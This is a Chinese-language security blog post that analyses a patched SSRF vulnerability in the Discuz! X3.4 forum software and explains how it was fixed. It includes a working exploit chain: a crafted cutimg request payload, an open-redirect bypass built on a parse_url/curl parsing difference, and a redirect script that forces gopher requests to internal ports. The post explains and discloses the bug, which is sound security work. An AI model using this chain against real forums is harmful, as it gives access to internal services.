实例分析 DiscuzX 3.4 SSRF漏洞
2021-09-27 11:59:53 Author: blog.topsec.com.cn(查看原文) 阅读量:31 收藏

0×00 漏洞信息简介 
        Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X3.4正式版于2017年8月2日发布,去除了云平台的相关代码,是 X3.2 的稳定版本。此次漏洞位于/source/module/misc/misc_imgcropper.php中的54行处的$prefix可控导致SSRF。文章参考:Discuz x3.4 前台 SSRF 分析[1]。该漏洞公开时间为2018年12月3日,文章地址为:Discuz x3.4前台SSRF[2],由于该文章存在密码,可以查看转载地址:文章转载地址[3]
0×01 漏洞详情分析 

Discuz开源地址为Gitee[4],使用git clone 克隆到本地

git clone https://gitee.com/Discuz/DiscuzX

根据补丁提交记录[5]来切换到漏洞修复前的前一个commit版本

git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9

本地搭建好运行环境之后首先访问页面http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper,然后点击裁切按钮并抓包

1

拦截之后重放数据包在提交内容位置添加参数cutimgpicflag,红框处填写需要请求的IP地址并发送数据包

&cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2

2

这时服务器将成功收到请求

3

下面来看看后端是怎么处理的,断点地址为source/module/misc/misc_imgcropper.phpline 54。当传递的picflag2时取$_G['setting']['ftp']['attachurl']变量的值"/"。接下来55行接收拼接可控变量cutimg4

既然可控,那么就要看看它后面是怎么处理的,来到Thumb方法

5

进入init方法,到达parse_url方法后在source中解析出了host。此时就会进入dfsockopen

//dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1

6

parse_url支持//baidu.com/s这种形式的url解析

7

继续跟进dfsockopen方法,在该方法中又进行了解析,处理同上,由于不存在协议所以schemenull,这样在最后拼接出来的URL就是://xx.com/,这样的链接会自动补上协议,所以最后为http://://xx.com/

8
在windows中使用curl请求该地址最终解析到了192.168.163.1,也就是某个网卡的本地地址。请求路径为http://192.168.163.1/xx.com 
9

此时我们能够进行内网请求,但是地址并不可控,所以需要找到一个discuz可以进行任意url跳转的漏洞,再请求该路径跳转出去。discuz在退出的时候会取get参数referer中的值来进行跳转,下面来分析跳转处的代码。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

function dreferer($default = '') {

 

$default = empty($default) && $_ENV['curapp'] ? $_ENV['curapp'].'.php' : '';

 

$_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER'];

 

$_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer'];

 

if(strpos($_G['referer'], 'member.php?mod=logging')) {

  

$_G['referer'] = $default;

 

$reurl = parse_url($_G['referer']);

    

//如果存在协议则判断是否为http和https,不存在则不判断

 

if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) {

 

if( !empty($reurl['host']) &&

        

//判断解析的host是否为$_SERVER['HTTP_HOST']

        

!in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) &&

        

//判断$_SERVER['HTTP_HOST']是否存在于解析出的host中

        

!in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) {

  

if(!in_array($reurl['host'], $_G['setting']['domain']['app']) &&

            

!isset($_G['setting']['domain']['list'][$reurl['host']])) {

      

//截取解析的host第一个.后面的所有内容,没有.则当长度为1时则返回为空

   

$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);

   

//$_G['setting']['domain']['root']为array且为空

   

if(empty($_G['setting']['domain']['root']) ||

                

(is_array($_G['setting']['domain']['root']) &&

                    

//想要不进入这个判断需要保证$domainroot为空,这样referer才不会被覆盖,才能实现任意地址跳转

                    

!in_array($domainroot, $_G['setting']['domain']['root']))) {

    

$_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php';

 

} elseif(empty($reurl['host'])) {

  

$_G['referer'] = $_G['siteurl'].'./'.$_G['referer'];

 

$_G['referer'] = durlencode($_G['referer']);

}

在上面的代码中只要我们做到$_G['referer']不被覆盖即可,首先解析的host中存在协议则判断是否为httphttps,不存在则不判断,所以我们可以不传入协议。第二处判断解析的host是否为$_SERVER['HTTP_HOST'],如果是则不进入if覆盖$_G['referer']。但是这样的话在实际的ssrf跳转场景中$_SERVER['HTTP_HOST']为空。

10
所以这个条件无法生效。后面的一个关键判断$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);会截取解析的host第一个.后面的所有内容,没有.并且当长度为1时则返回为空。返回为空时后面的!in_array($domainroot, $_G['setting']['domain']['root']))这个条件就为false。也就不会进入if判断覆盖$_G['referer']了。但是这儿存在一个问题,如果我们host为a那么最后通过curl跳转的时候就往a跳转了。不能指定任意地址。此时可以利用parse_urlcurl的解析差异来绕过这个限制。构造//a#@1.1.1.1,那么parse_url将解析hosta,而curl解析host为1.1.1.1。所以就得到了构造的完整url。 
11
 

0×02 漏洞利用手段


最后的利用流程为:

ssrf访问本地接口进行URL跳转

====301====>

跳转到目标服务器,服务器上使用跳转脚本进行协议转换或者任意路径访问

=====302=====>

通过指定协议如gopher,访问指定路径/_test…等

首先通过服务器搭建跳转脚本index.php

<?php

header("Location: gopher://127.0.0.1:2333/_test");

?>

本地进行nc监听
12

ssrf跳转服务器地址13

成功将请求转发到本地发送test消息
14

0×03 漏洞修复方法


官方在补丁提交记录[2]的版本提交中对漏洞进行了修复,修复方式为重写了dfsockopen中调用的parse_url_parse_url,在该方法中判断了parse_url是否能够解析出协议,无法解析则退出。

15
16

0×04 漏洞思考总结


这个漏洞的成功利用离不开对parse_url解析特性的了解,parse_url成功从cutimg变量中解析出host,才能调用dfsockopen方法,在该方法中使用curl请求拼接了前缀的地址://xx.com。这将请求本地地址,通过寻找discuz的url跳转来将本地请求转发出去。而在url跳转的利用中使用到了parse_urlcurl//a#@1.1.1.1的解析差异来完成任意地址访问。最后在访问地址使用302跳转来达到使用指定协议请求指定路径或发送数据的目的。

0×05 参考资料 

[1]Discuz x3.4 前台 SSRF 分析: https://paper.seebug.org/756/

[2]Discuz x3.4前台SSRF: https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html

[3]Discuz x3.4前台SSRF转载: https://www.codercto.com/a/43029.html

[4]Discuz: https://gitee.com/Discuz/DiscuzX/

[5]补丁提交记录: https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3


文章来源: http://blog.topsec.com.cn/discuzx-3-4-ssrf/
如有侵权请联系:admin#unsafe.sh